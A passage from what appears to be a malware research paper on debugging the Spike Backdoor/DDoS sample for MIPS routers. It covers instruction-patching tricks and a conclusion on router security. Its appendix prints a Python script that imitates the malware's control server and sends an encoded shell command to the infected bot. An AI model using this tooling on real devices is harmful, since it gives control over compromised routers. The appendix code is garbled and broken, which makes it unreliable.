The ‘Operand Address’ of the jump target address is then prepended to the instruction opcode. The prepending is done in the Little Endian format due to the fact that the binary being analyzed is in Little Endian format. For example, the modified function call for pthread function ‘_Z8SendInfoPv’ in the aforementioned code is set to, in hexadecimal, ‘DF 25 10 0C’. The actual address of the ‘_Z8SendInfoPv’ function is 0x0040977C which is shown in the following code snippet:

```
0040977C     m SendInfo(void *)
0040977C     .globl _Z8SendInfoPv
0040977C     _Z8SendInfoPv:
0040977C     CODE XREF: _ConnectServerA(void)
0040977C     # main+100
0040977C     var_8 = -8
0040977C     var_h = -4
0040977C     arg_0 = -0
0040977C     addiu $sp, -0x20
00409789     sw $ra, 0x20+var_h($sp)
```

Figure 33: Start address of ‘_Z8SendInfoPv’ function

Hence, the Operand Address with the ‘jal’ command is calculated as:

\[
\text{Operand Address} = \frac{0x0040977C}{4} = 0x1025DF \& 0x03FFFFFF = 0x1025DF 
\]
Thus, prepending the above value (0x1025DF) to the ‘jal’ instruction code (‘0x0C’) as in ‘DF 25 10 0C’ results in a call to the target function at the given address and is resolved by IDA Pro as ‘jal _Z8SendInfoPv’ that is shown in Figure 32 above. By modifying the pthread calls, the thread functions can be analyzed without causing termination of the debugging session.

4.1 Jump to Self

When debugging malware on the x86 platform, a commonly useful instruction is ‘Jump to Self’ or 0xEBFE. This instruction is typically used when a researcher wants to pause code execution at a certain point while the debugger is not attached to it -- for example, in the case of code injection into a suspended process. With various tests it has been determined that on the 32-bit Little Endian MIPS platform, a jump instruction can be modified to ‘FF FF 00 10’ that causes it to branch-to-self.

5. Conclusion

In this paper, we have discussed debugging and code analysis of a Backdoor/DDoS malware sample for the MIPS architecture. The Spike DDoS malware supports various DDoS functions as well as allows the execution of Shell commands. In our research, we have observed that a majority of the malware for the MIPS platform, including a known APT malware, focus on DDoS functionality. Moreover, backdoor access, modification of DNS settings, and other spying mechanisms have also been used by some of these malware. These functionalities can be effectively leveraged by cyber criminals as well as nation-state actors to achieve their various agendas.

The current state of security for the majority of home routers lacks the fundamental mechanisms of scanning and eradicating malicious programs. Moreover, the awareness among end-users regarding the possible malicious usage of their network devices is minimal. As such, an infected home router often remains infected until replaced. This requires that Anti-Virus products, in addition to PCs and laptops, protect other home network devices as well. Both network device vendors and AV vendors need to provide

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mechanisms for auto-updating their devices’ firmware and eradicating malicious programs from them as well. This could perhaps help in minimizing these agents of DDoS and other malicious activities.
6. References


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Analysis of a MIPS Malware

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Appendix A

The following script was used to listen for the malware’s message containing system information. It then sends a shell command to execute on the infected system. The malware traffic was redirected by modifying the IP address of the secondary control server that is shown in Figure 14.

```python
import socket, re, sys, thread

def sendCmd(botconn, botaddr, shellcmd):
    data = botconn.recv(1024)
    if re.search("VERSONEX", data):
        botconn.sendall(shellcmd)
        botconn.close()

if __name__ == "__main__":

    HOST="
    PORT=48080
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.bind((HOST, PORT))
    except:
        print "nBind failed!"
        sys.exit()
    s.listen(2)

    shellcmd =
    "\x05\x00\x00\x00\x72\xf8\xf6\x64\x86\x68\x98\x16\xd4\xa4\x5c\xcc" + \n    "\x60\xea\x6d\x01\x01\x00\x00\x00\x25\x9e\x95\x7c\xb0\x92\xd0\x00" + \n    "\x40\xeb\x6d\x01\xad\x9d\x95\x7c\x48\x0d\xd0\x00\xc9\x9d\x95\x7c" + \n    "\x00\x00\x00\x00\xb8\x92\xd0\x00\xd0\x00\xe6\xd0\x00\xc9\x9d\x95\x7c" + \n
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while 1:
    botconn, botaddr = s.accept() 
    thread.start_new_thread(sendCmd, (botconn, botaddr, shellcmd)) 
    s.close()
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